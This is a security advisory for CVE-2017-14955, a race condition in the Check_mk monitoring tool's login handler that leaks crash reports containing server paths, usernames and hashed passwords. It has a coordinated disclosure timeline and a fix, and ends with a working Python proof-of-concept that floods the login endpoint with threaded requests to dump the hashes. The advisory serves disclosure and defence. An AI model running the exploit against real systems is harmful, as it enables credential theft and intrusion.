RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Check_mk Vendor URL: https://mathias-kettner.de/check_mk.html Type: Race Condition [CWE-362] Date found: 2017-09-21 Date published: 2017-10-18 CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CVE: CVE-2017-14955 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Check_mk v1.2.8p25 Check_mk v1.2.8p25 Enterprise older versions may be affected too. 4. INTRODUCTION =============== Check_MK is comprehensive IT monitoring solution in the tradition of Nagios. Check_MK is available as Raw Edition, which is 100% pure open source, and as Enterprise Edition with a lot of additional features and professional support. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== Check_mk is vulnerable to an unauthenticated information disclosure through a race condition during the authentication process when trying to authenticate with a valid username and an invalid password. On a failed login, the application calls the function save_users(), which performs two os.rename operations on the files "contacts.mk.new" and "users.mk.new" (see /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py): [..] # Check_MK's monitoring contacts filename = root_dir + "contacts.mk.new" out = create_user_file(filename, "w") out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n") out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts)) out.close() os.rename(filename, filename[:-4]) # Users with passwords for Multisite filename = multisite_dir + "users.mk.new" make_nagios_directory(multisite_dir) out = create_user_file(filename, "w") out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n") out.write("multisite_users = \\\n%s\n" % pprint.pformat(users)) out.close() os.rename(filename, filename[:-4]) [...] When sending many concurrent authentication requests with an existing/valid username, such as: POST /check_mk/login.py HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---9519178121294961341040589727 Content-Length: 772 Connection: close Upgrade-Insecure-Requests: 1 ---9519178121294961341040589727 Content-Disposition: form-data; name="filled_in" login ---9519178121294961341040589727 Content-Disposition: form-data; name="_login" 1 ---9519178121294961341040589727 Content-Disposition: form-data; name="_origtarget" index.py ---9519178121294961341040589727 Content-Disposition: form-data; name="_username" omdadmin ---9519178121294961341040589727 Content-Disposition: form-data; name="_password" welcome ---9519178121294961341040589727 Content-Disposition: form-data; name="_login" Login ---9519178121294961341040589727-- Then it could happen that one of both os.rename() calls references a non- existing file, which has just been renamed by a previous thread. This causes the Python script to fail and throw a crash report, which discloses a variety of sensitive information, such as internal server paths, account details including hashed passwords: Local Variables
{'contacts': {u'admin': {'alias': u'Administrator',
                              'contactgroups': ['all'],
                              'disable_notifications': False,
                              'email': u'admin@example.com',
                              'enforce_pw_change': False,
                              'last_pw_change': 0,
                              'last_seen': 0.0,
                              'locked': False,
                              'num_failed': 0,
                              'pager': '',
                              'password': '$1$400000$13371337asdfasdf',
                              'roles': ['admin'],
                              'serial': 2},

A script to automatically exploit this vulnerability can be found on [0].

6. RISK
=======
To successfully exploit this vulnerability an unauthenticated attacker must only
have network-level access to the application.

The vulnerability allows remote attackers to trigger an exception, which
discloses a variety of sensitive internal information such as:
- Local server paths
- Usernames
- Passwords (hashed)
- and user directory-specific attributes (i.e. LDAP)


7. SOLUTION
===========
Update to 1.2.8p26.


8. REPORT TIMELINE
==================
2017-09-21: Discovery of the vulnerability
2017-09-21: Sent limited information to publicly listed email address
2017-09-21: Vendor responds and asks for details
2017-09-21: Full vulnerability details sent to vendor
2017-09-25: Vendor pushes fix to git
2017-10-01: MITRE assigns CVE-2017-14955
2017-10-16: Fix confirmed
2017-10-18: Public disclosure


9. REFERENCES
=============
[0] https://www.rcesecurity.com/2017/10/cve-2017-14955-win-a-race-against-check-mk-to-dump-all-your-login-data/
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14955


Proof of concept:

#!/usr/bin/python
# Exploit Title: Check_mk <= v1.2.8p25 save_users() Race Condition
# Version:       <= 1.2.8p25
# Date:          2017-10-18
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      https://www.rcesecurity.com
# Software Link: https://mathias-kettner.de/check_mk.html
# Tested on:     1.2.8p25
# CVE:       CVE-2017-14955
#
# Howto / Notes:
# This scripts exploits the Race Condition in check_mk version 1.2.8p25 and
# below as described by CVE-2017-14955. You only need a valid username to
# dump all encrypted passwords and make sure to setup a local proxy to
# catch the dump. Happy brute forcing ;-)
 
import requests
import threading
 
try:
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except:
    pass
 
# Config Me
target_url = "https://localhost/check_mk/login.py"
target_username = "omdadmin"
 
proxies = {
  'http': 'http://127.0.0.1:8080',
  'https': 'http://127.0.0.1:8080',
}
 
def make_session():
    v = requests.post(target_url, verify=False, proxies=proxies, files={'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (None, 'index.py'), '_username': (None, target_username), '_password': (None, 'random'), '_login': (None, 'Login')})
    return v.content
 
NUM = 50
 
threads = []
for i in range(NUM):
    t = threading.Thread(target=make_session)
    threads.append(t)
    t.start()